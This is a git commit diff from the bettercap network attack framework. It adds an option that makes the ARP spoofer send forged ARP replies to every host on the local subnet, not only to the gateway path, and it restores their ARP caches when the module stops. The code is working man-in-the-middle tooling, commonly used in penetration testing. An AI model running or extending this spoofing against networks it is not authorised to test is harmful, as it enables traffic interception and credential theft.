new: added arp.spoof.internal boolean parameter (closes #242)

This commit is contained in:
evilsocket 2018-04-30 15:44:16 +02:00
commit 9f390a722f
No known key found for this signature in database
GPG key ID: 1564D7F30393A456

View file

@ -10,6 +10,8 @@ import (
"github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/session"
"github.com/malfunkt/iprange"
) )
type ArpSpoofer struct { type ArpSpoofer struct {
@ -18,6 +20,7 @@ type ArpSpoofer struct {
macs []net.HardwareAddr macs []net.HardwareAddr
wAddresses []net.IP wAddresses []net.IP
wMacs []net.HardwareAddr wMacs []net.HardwareAddr
internal bool
ban bool ban bool
waitGroup *sync.WaitGroup waitGroup *sync.WaitGroup
} }
@ -30,6 +33,7 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
wAddresses: make([]net.IP, 0), wAddresses: make([]net.IP, 0),
wMacs: make([]net.HardwareAddr, 0), wMacs: make([]net.HardwareAddr, 0),
ban: false, ban: false,
internal: false,
waitGroup: &sync.WaitGroup{}, waitGroup: &sync.WaitGroup{},
} }
@ -37,6 +41,10 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
p.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing.")) p.AddParam(session.NewStringParameter("arp.spoof.whitelist", "", "", "Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing."))
p.AddParam(session.NewBoolParameter("arp.spoof.internal",
"false",
"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
p.AddHandler(session.NewModuleHandler("arp.spoof on", "", p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
"Start ARP spoofer.", "Start ARP spoofer.",
func(args []string) error { func(args []string) error {
@ -82,7 +90,9 @@ func (p *ArpSpoofer) Configure() error {
var targets string var targets string
var whitelist string var whitelist string
if err, targets = p.StringParam("arp.spoof.targets"); err != nil { if err, p.internal = p.BoolParam("arp.spoof.internal"); err != nil {
return err
} else if err, targets = p.StringParam("arp.spoof.targets"); err != nil {
return err return err
} else if err, whitelist = p.StringParam("arp.spoof.whitelist"); err != nil { } else if err, whitelist = p.StringParam("arp.spoof.whitelist"); err != nil {
return err return err
@ -111,21 +121,57 @@ func (p *ArpSpoofer) Start() error {
} }
return p.SetRunning(true, func() { return p.SetRunning(true, func() {
from := p.Session.Gateway.IP neighbours := []net.IP{}
from_hw := p.Session.Interface.HW nTargets := len(p.addresses) + len(p.macs)
log.Info("ARP spoofer started, probing %d targets.", len(p.addresses)+len(p.macs)) if p.internal {
list, _ := iprange.ParseList(p.Session.Interface.CIDR())
neighbours = list.Expand()
nNeigh := len(neighbours) - 2
log.Warning("ARP spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
} else {
log.Info("ARP spoofer started, probing %d targets.", nTargets)
}
p.waitGroup.Add(1) p.waitGroup.Add(1)
defer p.waitGroup.Done() defer p.waitGroup.Done()
gwIP := p.Session.Gateway.IP
myMAC := p.Session.Interface.HW
for p.Running() { for p.Running() {
p.sendArp(from, from_hw, true, true) p.sendArp(gwIP, myMAC, true, true)
for _, address := range neighbours {
if !p.Session.Skip(address) {
p.sendArp(address, myMAC, true, true)
}
}
time.Sleep(1 * time.Second) time.Sleep(1 * time.Second)
} }
}) })
} }
func (p *ArpSpoofer) unSpoof() error {
nTargets := len(p.addresses) + len(p.macs)
log.Info("Restoring ARP cache of %d targets.", nTargets)
p.sendArp(p.Session.Gateway.IP, p.Session.Gateway.HW, false, false)
if p.internal {
list, _ := iprange.ParseList(p.Session.Interface.CIDR())
neighbours := list.Expand()
for _, address := range neighbours {
if !p.Session.Skip(address) {
if realMAC, err := findMAC(p.Session, address, false); err == nil {
p.sendArp(address, realMAC, false, false)
}
}
}
}
return nil
}
func (p *ArpSpoofer) Stop() error { func (p *ArpSpoofer) Stop() error {
return p.SetRunning(false, func() { return p.SetRunning(false, func() {
log.Info("Waiting for ARP spoofer to stop ...") log.Info("Waiting for ARP spoofer to stop ...")
@ -193,6 +239,8 @@ func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running
} else if p.isWhitelisted(ip, mac) { } else if p.isWhitelisted(ip, mac) {
log.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac) log.Debug("%s (%s) is whitelisted, skipping from spoofing loop.", ip, mac)
continue continue
} else if saddr.String() == ip {
continue
} }
if err, pkt := packets.NewARPReply(saddr, smac, net.ParseIP(ip), mac); err != nil { if err, pkt := packets.NewARPReply(saddr, smac, net.ParseIP(ip), mac); err != nil {
@ -203,14 +251,3 @@ func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running
} }
} }
} }
func (p *ArpSpoofer) unSpoof() error {
from := p.Session.Gateway.IP
from_hw := p.Session.Gateway.HW
log.Info("Restoring ARP cache of %d targets.", len(p.addresses)+len(p.macs))
p.sendArp(from, from_hw, false, false)
return nil
}